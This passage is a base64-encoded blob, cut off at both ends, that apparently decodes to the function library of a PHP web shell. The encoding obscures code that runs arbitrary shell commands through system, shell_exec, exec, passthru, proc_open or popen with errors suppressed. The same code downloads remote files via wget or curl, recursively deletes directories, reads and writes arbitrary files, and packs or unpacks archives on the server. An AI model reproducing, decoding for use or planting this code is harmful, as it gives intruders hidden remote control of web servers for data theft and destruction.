2ljX3F1b3RlKCRhcnIpewoJCSRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSAmJiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJaWYoaXNfYXJyYXkoJGFycikpewoJCQkJZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7CgkJCQkJaWYoaXNfYXJyYXkoJHYpKSAkYXJyWyRrXSA9IGNsZWFuKCR2KTsKCQkJCQllbHNlICRhcnJbJGtdID0gKGVtcHR5KCRxdW90ZXNfc3liYXNlKSB8fCAkcXVvdGVzX3N5YmFzZSA9PT0gJ29mZicpPyBzdHJpcHNsYXNoZXMoJHYpIDogc3RyaXBzbGFzaGVzKHN0cl9yZXBsYWNlKCJcJ1wnIiwgIlwnIiwgJHYpKTsKCQkJCX0KCQkJfQoJCX0KCQlyZXR1cm4gJGFycjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZXhlY3V0ZScpKXsKCWZ1bmN0aW9uIGV4ZWN1dGUoJGNvZGUpewoJCSRvdXRwdXQgPSAiIjsKCQkkY29kZSA9ICRjb2RlLiIgMj4mMSI7CgoJCWlmKGlzX2NhbGxhYmxlKCdzeXN0ZW0nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKCQkJb2Jfc3RhcnQoKTsKCQkJQHN5c3RlbSgkY29kZSk7CgkJCSRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgnc2hlbGxfZXhlYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKCQkJJG91dHB1dCA9IEBzaGVsbF9leGVjKCRjb2RlKTsKCQkJaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsKCQl9CgkJZWxzZWlmKGlzX2NhbGxhYmxlKCdleGVjJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewoJCQlAZXhlYygkY29kZSwkcmVzKTsKCQkJaWYoIWVtcHR5KCRyZXMpKSBmb3JlYWNoKCRyZXMgYXMgJGxpbmUpICRvdXRwdXQgLj0gJGxpbmU7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgncGFzc3RocnUnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpewoJCQlvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNvZGUpOwoJCQkkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3Byb2Nfb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewoJCQkkZGVzYyA9IGFycmF5KAoJCQkJMCA9PiBhcnJheSgicGlwZSIsICJyIiksCgkJCQkxID0+IGFycmF5KCJwaXBlIiwgInciKSwKCQkJCTIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsKCQkJJHByb2MgPSBAcHJvY19vcGVuKCRjb2RlLCAkZGVzYywgJHBpcGVzLCBnZXRjd2QoKSwgYXJyYXkoKSk7CgkJCWlmKGlzX3Jlc291cmNlKCRwcm9jKSl7CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzFdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzJdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCX0KCQkJQHByb2NfY2xvc2UoJHByb2MpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3BvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKCQkJJHJlcyA9IEBwb3BlbigkY29kZSwgJ3InKTsKCQkJaWYoJHJlcyl7CgkJCQl3aGlsZSghZmVvZigkcmVzKSl7CgkJCQkJJG91dHB1dCAuPSBmcmVhZCgkcmVzLCAyMDk2KTsKCQkJCX0KCQkJCXBjbG9zZSgkcmVzKTsKCQkJfQoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQlyZXR1cm4gIiI7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2h0bWxfc2FmZScpKXsKCWZ1bmN0aW9uIGh0bWxfc2FmZSgkc3RyKXsKCQlyZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkc3RyLCAyIHwgMSk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3BhcnNlX2RpcicpKXsKCWZ1bmN0aW9uIHBhcnNlX2RpcigkcGF0aCl7CgkJJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkkcGF0aHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRwYXRoKTsKCQkkcmVzID0gIiI7CgkJZm9yKCRpID0gMDsgJGkgPCBzaXplb2YoJHBhdGhzKS0xOyAkaSsrKXsKCQkJJHggPSAiIjsKCQkJZm9yKCRqID0gMDsgJGogPD0gJGk7ICRqKyspICR4IC49ICRwYXRoc1skal0uRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJJHJlcyAuPSAiPGEgY2xhc3M9J25hdmJhcicgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkeCkuIic+Ii5odG1sX3NhZmUoJHBhdGhzWyRpXSkuIiAiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIiA8L2E+IjsKCQl9CgkJaWYoaXNfd2luKCkpICRyZXMgPSBnZXRfZHJpdmVzKCkuJHJlczsKCQlyZXR1cm4gdHJpbSgkcmVzKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnemlwJykpewoJZnVuY3Rpb24gemlwKCRmaWxlcywgJGFyY2hpdmUpewoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZighZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykpIHJldHVybiAkc3RhdHVzOwoJCWlmKGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKXsKCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCWlmKCEkemlwLT5vcGVuKCRhcmNoaXZlLCAxKSkgcmV0dXJuICRzdGF0dXM7CgoJCQlpZighaXNfYXJyYXkoJGZpbGVzKSkgJGZpbGVzID0gYXJyYXkoJGZpbGVzKTsKCQkJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpewoJCQkJJGZpbGUgPSBzdHJfcmVwbGFjZShnZXRfY3dkKCksICcnLCAkZmlsZSk7CgkJCQkkZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGUpOwoJCQkJaWYoaXNfZGlyKCRmaWxlKSl7CgkJCQkJJGZpbGVzSXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLCAxKTsKCQkJCQlmb3JlYWNoKCRmaWxlc0l0ZXJhdG9yIGFzICRpdGVyYXRvcil7CgkJCQkJCSRpdGVyYXRvciA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGl0ZXJhdG9yKTsKCQkJCQkJaWYoaW5fYXJyYXkoc3Vic3RyKCRpdGVyYXRvciwgc3RycnBvcygkaXRlcmF0b3IsICcvJykrMSksIGFycmF5KCcuJywgJy4uJykpKSBjb250aW51ZTsKCgkJCQkJCWlmKGlzX2RpcigkaXRlcmF0b3IpKSAkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkZmlsZS4nLycsICcnLCAkaXRlcmF0b3IuJy8nKSk7CgkJCQkJCWVsc2UgaWYoaXNfZmlsZSgkaXRlcmF0b3IpKSAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRmaWxlLicvJywgJycsICRpdGVyYXRvciksIHJlYWRfZmlsZSgkaXRlcmF0b3IpKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJGZpbGUpLCByZWFkX2ZpbGUoJGZpbGUpKTsKCQkJfQoJCQlpZigkemlwLT5nZXRTdGF0dXNTdHJpbmcoKSE9PWZhbHNlKSAkc3RhdHVzID0gdHJ1ZTsKCQkJJHppcC0+Y2xvc2UoKTsKCQl9CgkJcmV0dXJuICRzdGF0dXM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2NvbXByZXNzJykpewoJZnVuY3Rpb24gY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkZmlsZXMpewoJCWlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOwoJCWlmKCR0eXBlPT0nemlwJyl7CgkJCWlmKHppcCgkZmlsZXMsICRhcmNoaXZlKSkgcmV0dXJuIHRydWU7CgkJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCX0KCQllbHNlaWYoKCR0eXBlPT0ndGFyJyl8fCgkdHlwZT09J3Rhcmd6JykpewoJCQkkYXJjaGl2ZSA9IGJhc2VuYW1lKCRhcmNoaXZlKTsKCgkJCSRsaXN0c0Jhc2VuYW1lID0gYXJyYXlfbWFwKCJiYXNlbmFtZSIsICRmaWxlcyk7CgkJCSRsaXN0cyA9IGFycmF5X21hcCgid3JhcF93aXRoX3F1b3RlcyIsICRsaXN0c0Jhc2VuYW1lKTsKCgkJCWlmKCR0eXBlPT0ndGFyJykgZXhlY3V0ZSgidGFyIGNmIFwiIi4kYXJjaGl2ZS4iXCIgIi5pbXBsb2RlKCIgIiwgJGxpc3RzKSk7CgkJCWVsc2VpZigkdHlwZT09J3Rhcmd6JykgZXhlY3V0ZSgidGFyIGN6ZiBcIiIuJGFyY2hpdmUuIlwiICIuaW1wbG9kZSgiICIsICRsaXN0cykpOwoKCQkJaWYoaXNfZmlsZSgkYXJjaGl2ZSkpIHJldHVybiB0cnVlOwoJCQllbHNlIHJldHVybiBmYWxzZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvbXByZXNzJykpewoJZnVuY3Rpb24gZGVjb21wcmVzcygkdHlwZSwgJGFyY2hpdmUsICRwYXRoKXsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZihpc19kaXIoJHBhdGgpKXsKCQkJY2hkaXIoJHBhdGgpOwoJCQlpZigkdHlwZT09J3VuemlwJyl7CgkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkJCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCQkJJHRhcmdldCA9ICRwYXRoLmJhc2VuYW1lKCRhcmNoaXZlLCIuemlwIik7CgkJCQkJaWYoJHppcC0+b3BlbigkYXJjaGl2ZSkpewoJCQkJCQlpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsKCQkJCQkJaWYoJHppcC0+ZXh0cmFjdFRvKCR0YXJnZXQpKSAkc3RhdHVzID0gdHJ1ZTsKCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJZWxzZWlmKCR0eXBlPT0ndW50YXInKXsKCQkJCSR0YXJnZXQgPSBiYXNlbmFtZSgkYXJjaGl2ZSwiLnRhciIpOwoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeGYgXCIiLmJhc2VuYW1lKCRhcmNoaXZlKS4iXCIgLUMgXCIiLiR0YXJnZXQuIlwiIik7CgkJCQkkYWZ0ZXIgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsKCQkJCWlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7CgoJCQl9CgkJCWVsc2VpZigkdHlwZT09J3VudGFyZ3onKXsKCQkJCSR0YXJnZXQgPSAiIjsKCQkJCWlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50YXIuZ3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50YXIuZ3oiKTsKCQkJCWVsc2VpZihzdHJwb3Moc3RydG9sb3dlcigkYXJjaGl2ZSksICIudGd6IikhPT1mYWxzZSkgJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGd6Iik7CgoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeHpmIFwiIi5iYXNlbmFtZSgkYXJjaGl2ZSkuIlwiIC1DIFwiIi4kdGFyZ2V0LiJcIiIpOwoJCQkJJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlpZigkYmVmb3JlIT0kYWZ0ZXIpICRzdGF0dXMgPSB0cnVlOwoJCQl9CgkJfQoJCXJldHVybiAkc3RhdHVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkb3dubG9hZCcpKXsKCWZ1bmN0aW9uIGRvd25sb2FkKCR1cmwgLCRzYXZlYXMpewoJCWlmKCFwcmVnX21hdGNoKCIvW2Etel0rOlwvXC8uKy8iLCR1cmwpKSByZXR1cm4gZmFsc2U7CgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJHVybCk7CgoJCWlmKCRjb250ZW50ID0gcmVhZF9maWxlKCR1cmwpKXsKCQkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgdW5saW5rKCRzYXZlYXMpOwoJCQlpZih3cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCgkJJGJ1ZmYgPSBleGVjdXRlKCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgoJCSRidWZmID0gZXhlY3V0ZSgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwoJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwoKCQkkYnVmZiA9IGV4ZWN1dGUoImx3cC1kb3dubG9hZCAiLiR1cmwuIiAiLiRzYXZlYXMpOwoJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwoKCQkkYnVmZiA9IGV4ZWN1dGUoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVwZXJtcycpKXsKCWZ1bmN0aW9uIGdldF9maWxlcGVybXMoJGZpbGUpewoJCWlmKCRwZXJtcyA9IEBmaWxlcGVybXMoJGZpbGUpKXsKCQkkZmxhZyA9ICd1JzsKCQlpZigoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApJGZsYWcgPSAncyc7CgkJZWxzZWlmKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkkZmxhZyA9ICdsJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSRmbGFnID0gJy0nOwoJCWVsc2VpZigoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApJGZsYWcgPSAnYic7CgkJZWxzZWlmKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkkZmxhZyA9ICdkJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSRmbGFnID0gJ2MnOwoJCWVsc2VpZigoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApJGZsYWcgPSAncCc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwNDAwKT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAyMDApPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDEwMCk/ICd4JzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDQwKT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMjApPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAxMCk/ICd4JzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDA0KT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDIpPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAwMSk/ICd4JzonLSc7CgkJcmV0dXJuICRmbGFnOwoJCX0KCQllbHNlIHJldHVybiAiPz8/Pz8/Pz8/Pz8iOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdmb3JtYXRfYml0JykpewoJZnVuY3Rpb24gZm9ybWF0X2JpdCgkc2l6ZSl7CgkJJGJhc2UgPSBsb2coJHNpemUpIC8gbG9nKDEwMjQpOwoJCSRzdWZmaXhlcyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwoJCXJldHVybiByb3VuZChwb3coMTAyNCwgJGJhc2UgLSBmbG9vcigkYmFzZSkpLDIpLiIgIi4kc3VmZml4ZXNbZmxvb3IoJGJhc2UpXTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVzaXplJykpewoJZnVuY3Rpb24gZ2V0X2ZpbGVzaXplKCRmaWxlKXsKCQkkc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZSk7CgkJaWYoJHNpemUhPT1mYWxzZSl7CgkJCWlmKCRzaXplPD0wKSByZXR1cm4gMDsKCQkJcmV0dXJuIGZvcm1hdF9iaXQoJHNpemUpOwoJCX0KCQllbHNlIHJldHVybiAiPz8/IjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVtdGltZScpKXsKCWZ1bmN0aW9uIGdldF9maWxlbXRpbWUoJGZpbGUpewoJCXJldHVybiBAZGF0ZSgiZC1NLVkgSDppOnMiLCBmaWxlbXRpbWUoJGZpbGUpKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVvd25lcicpKXsKCWZ1bmN0aW9uIGdldF9maWxlb3duZXIoJGZpbGUpewoJCSRvd25lciA9ICI/Oj8iOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CgkJCSRuYW1lID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSk7CgkJCSRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZmlsZSkpOwoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI6Ii4kZ3JvdXBbJ25hbWUnXTsKCQl9CgkJcmV0dXJuICRvd25lcjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygncm1kaXJzJykpewoJZnVuY3Rpb24gcm1kaXJzKCRkaXIsICRjb3VudGVyID0gMCl7CgkJaWYoaXNfZGlyKCRkaXIpKSAkZGlyID0gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZigkZGggPSBvcGVuZGlyKCRkaXIpKXsKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJJGYgPSAkZGlyLiRmOwoJCQkJCWlmKEBpc19kaXIoJGYpKSAkY291bnRlciArPSBybWRpcnMoJGYpOwoJCQkJCWVsc2V7CgkJCQkJCWlmKHVubGluaygkZikpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKCRkaCk7CgkJCWlmKHJtZGlyKCRkaXIpKSAkY291bnRlcisrOzsKCQl9CgkJcmV0dXJuICRjb3VudGVyOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdjb3B5cycpKXsKCWZ1bmN0aW9uIGNvcHlzKCRzb3VyY2UgLCAkdGFyZ2V0ICwkYz0wKXsKCQkkc291cmNlID0gcmVhbHBhdGgoJHNvdXJjZSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZigkZGggPSBvcGVuZGlyKCRzb3VyY2UpKXsKCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCSR0YXJnZXQgPSByZWFscGF0aCgkdGFyZ2V0KS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJaWYoaXNfZGlyKCRzb3VyY2UuJGYpKXsKCQkJCQkJY29weXMoJHNvdXJjZS4kZiwgJHRhcmdldC4kZiwgJGMpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQlpZihjb3B5KCRzb3VyY2UuJGYsICR0YXJnZXQuJGYpKSAkYysrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQljbG9zZWRpcigkZGgpOwoJCX0KCQlyZXR1cm4gJGM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9hbGxfZmlsZXMnKSl7CglmdW5jdGlvbiBnZXRfYWxsX2ZpbGVzKCRwYXRoKXsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCSRmaWxlcyA9IGdsb2IoJHBhdGguJyonKTsKCQlmb3IoJGkgPSAwOyAkaTxjb3VudCgkZmlsZXMpOyAkaSsrKXsKCQkJaWYoaXNfZGlyKCRmaWxlc1skaV0pKXsKCQkJCSRzdWJkaXIgPSBnbG9iKCRmaWxlc1skaV0uRElSRUNUT1JZX1NFUEFSQVRPUi4nKicpOwoJCQkJaWYoaXNfYXJyYXkoJGZpbGVzKSAmJiBpc19hcnJheSgkc3ViZGlyKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkc3ViZGlyKTsKCQkJfQoJCX0KCQlyZXR1cm4gJGZpbGVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdyZWFkX2ZpbGUnKSl7CglmdW5jdGlvbiByZWFkX2ZpbGUoJGZpbGUpewoJCSRjb250ZW50ID0gZmFsc2U7CgkJaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CgkJCSRjb250ZW50ID0gIiI7CgkJCXdoaWxlKCFmZW9mKCRmaCkpewoJCQkgICRjb250ZW50IC49IGZyZWFkKCRmaCwgODE5Mik7CgkJCX0KCQl9CgkJcmV0dXJuICRjb250ZW50OwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCd3cml0ZV9maWxlJykpewoJZnVuY3Rpb24gd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewoJCWlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpewoJCQlpZihmd3JpdGUoJGZoLCAkY29udGVudCkhPT1mYWxzZSkgcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygndmlld19maWxlJykpewoJZnVuY3Rpb24gdmlld19maWxlKCRmaWxlLCAkdHlwZSwgJHByZXNlcnZlVGltZXN0YW1wPSd0cnVlJyl7CgkJJG91dHB1dCA9ICIiOwoJCWlmKGlzX2ZpbGUoJGZpbGUpKXsKCQkJJGRpciA9IGRpcm5hbWUoJGZpbGUpOwoKCQkJJG93bmVyID0gIiI7CgkJCWlmKCFpc193aW4oKSl7CgkJCQkkb3duZXIgPSAiPHRyPjx0ZD5Pd25lcjwvdGQ+PHRkPiIuZ2V0X2ZpbGVvd25lcigkZmlsZSkuIjwvdGQ+PC90cj4iOwoJCQl9CgoJCQkkaW1hZ2VfaW5mbyA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOwoJCQkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkJCSRtaW1lID0gIiI7CgkJCSRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOwoJCQlpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCQkJJGZpbGVfZXh0ID0gdHJpbShzdWJzdHIoJGZpbGUsICRmaWxlX2V4dF9wb3MpLCIuIik7CgkJCQlpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpewoJCQkJCSRtaW1lID0gJHJlc1sxXTsKCQkJCX0KCQkJfQoJCQlpZigkdHlwZT09ImF1dG8iKXsKCQkJCWlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKSkgJHR5cGUgPSAnaW1hZ2UnOwoJCQkJLy9lbHNlaWYoc3RydG9sb3dlcihzdWJzdHIoJGZpbGUsLTMsMykpID09ICJwaHAiKSAkdHlwZSA9ICJjb2RlIjsKCQkJCWVsc2VpZighZW1wdHkoJG1pbWUpKSAkdHlwZSA9ICJtdWx0aW1lZGlhIjsKCQkJCWVsc2UgJHR5cGUgPSAicmF3IjsKCQkJfQoKCQkJJGNvbnRlbnQgPSAiIjsKCQkJaWYoJHR5cGU9PSJjb2RlIil7CgkJCQkkaGxfYXJyID0gYXJyYXkoCgkJCQkJCQkiaGxfZGVmYXVsdCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuZGVmYXVsdCcpLAoJCQkJCQkJImhsX2tleXdvcmQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmtleXdvcmQnKSwKCQkJCQkJCSJobF9zdHJpbmciPT4gaW5pX2dldCgnaGlnaGxpZ2h0LnN0cmluZycpLAoJCQkJCQkJImhsX2h0bWwiPT4gaW5pX2dldCgnaGlnaGxpZ2h0Lmh0bWwnKSwKCQkJCQkJCSJobF9jb21tZW50Ij0+IGluaV9nZXQoJ2hpZ2hsaWdodC5jb21tZW50JykKCQkJCQkJCSk7CgkJCQkKCQkJCQoJCQkJJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKHJlYWRfZmlsZSgkZmlsZSksdHJ1ZSk7CgkJCQlmb3JlYWNoKCRobF9hcnIgYXMgJGs9PiR2KXsKCQkJCQkkY29udGVudCA9IHN0cl9yZXBsYWNlKCI8Zm9udCBjb2xvcj1cIiIuJHYuIlwiPiIsICI8Zm9udCBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7CgkJCQkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiPHNwYW4gc3R5bGU9XCJjb2xvcjogIi4kdi4iXCI+IiwgIjxzcGFuIGNsYXNzPSciLiRrLiInPiIsICRjb250ZW50KTsKCQkJCX0KCQkJfQoJCQllbHNlaWYoJHR5cGU9PSJpbWFnZSIpewoJCQkJJHdpZHRoID0gKGludCkgJGltYWdlX2luZm9bMF07CgkJCQkkaGVpZ2h0ID0gKGludCkgJGltYWdlX2luZm9bMV07CgkJCQkkaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3BhbiBjbGFzcz0nc3Ryb25nJz4oPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz4pPC9zcGFuPjxicj4KCQkJCQlJbWFnZSBTaXplID0gPHNwYW4gY2xhc3M9J3N0cm9uZyc+KCA8L3NwYW4+Ii4kd2lkdGguIiB4ICIuJGhlaWdodC4iPHNwYW4gY2xhc3M9J3N0cm9uZyc+ICk8L3NwYW4+PGJyPiI7CgkJCQlpZigkd2lkdGggPiA4MDApewoJCQkJCSR3aWR0aCA9IDgwMDsKCQkJCQkkaW1nbGluayA9ICI8cD48YSBpZD0ndmlld0Z1bGxzaXplJz4KCQkJCQk8c3Bh